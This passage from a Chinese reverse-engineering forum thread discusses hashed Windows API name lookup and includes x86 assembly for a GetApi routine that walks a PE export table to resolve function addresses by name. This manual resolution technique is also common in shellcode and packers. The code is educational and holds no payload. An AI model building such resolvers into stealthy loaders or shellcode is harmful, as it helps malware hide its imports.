粉丝
凉风 活跃值 2009-6-29 16:32
48
0
RtlZeroMemory 好象hash找不到,鱼小姐看看
雪    币: 241
活跃值: 活跃值 (17)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
RYYMike 活跃值 2 2009-6-30 16:48
49
0
我觉得这是一定存在重复的问题的吧,因为多字节进行缩小,8个字节的字符串的种数肯定是多于4个字节的种数,所以就造成一对多,所以,一定存在重复的问题,有多个字符串会对应到一个字符串。不知LZ怎么看?
雪    币: 83
活跃值: 活跃值 (10)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 活跃值 4 2009-10-20 15:15
50
0
GetApi:
  pop   edx
  pop  eax      ;hModule
  pop  ecx      ;lpApiString
  push  edx  
  pushad
  mov  ebx, eax    ;hModule  ebx
  mov  edi, ecx    ;lpApiString  edi  
  xor  al, al       ;al清零
  .Scasb:
  scasb           ;SCASB指令将AL中的值同目标内存中的字节比较,目标内存数据是由ES:DI寻址,

;如果找到了该字符,DI指向匹配字符串后面的一个字符.

  jnz  .Scasb               ;继续搜索
  dec  edi            
  sub  edi, ecx              ;这两句实现获得lpApiString的地址
  xchg  edi, ecx    ; edi = lpApiString, ecx = ApiLen
  
  mov  eax, [ebx+3ch]      ;
  mov  esi, [ebx+eax+78h]  ;Get Export Rva
  lea  esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
  lodsd
  xchg  eax, edx    ; edx = NumberOfNames
  lodsd
  push  eax      ; +4获得[esp] = AddressOfFunctions
  lodsd
  xchg  eax, ebp  
  lodsd
  xchg  eax, ebp    ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
  add  eax, ebx       ;hModule  ebx
  
  mov  [esp+4*6], edi    ;临时存储
  mov  [esp+4*5], ecx    ;临时存储

  .LoopScas:  
  dec  edx       ;循环 edx = NumberOfNames
  jz  .Ret
  mov  esi, [eax+edx*4]
  add  esi, ebx
  repz  cmpsb
  jz  .GetAddr
  mov  edi, [esp+4*6]   
  mov  ecx, [esp+4*5]   
  jmp  .LoopScas
  
  .GetAddr:
    shl  edx, 1;edx*2
    add  ebp, edx; ebp = AddressOfNameOrdinals
  movzx  eax, word [ebp+ebx];mov eax, [Ordinals_Tab + (索引值 *2)]
  shl  eax, 2;*4
  add  eax, [esp]
  mov  eax, [ebx+eax];mov eax, [AddressOfFunctions + (索引值*4)]
  add  eax, ebx
  .Ret:
    pop  ecx
    mov  [esp+4*7], eax
  popad
  ret

基础不好,这段看着头有点晕
游客
登录 | 注册 方可回帖
返回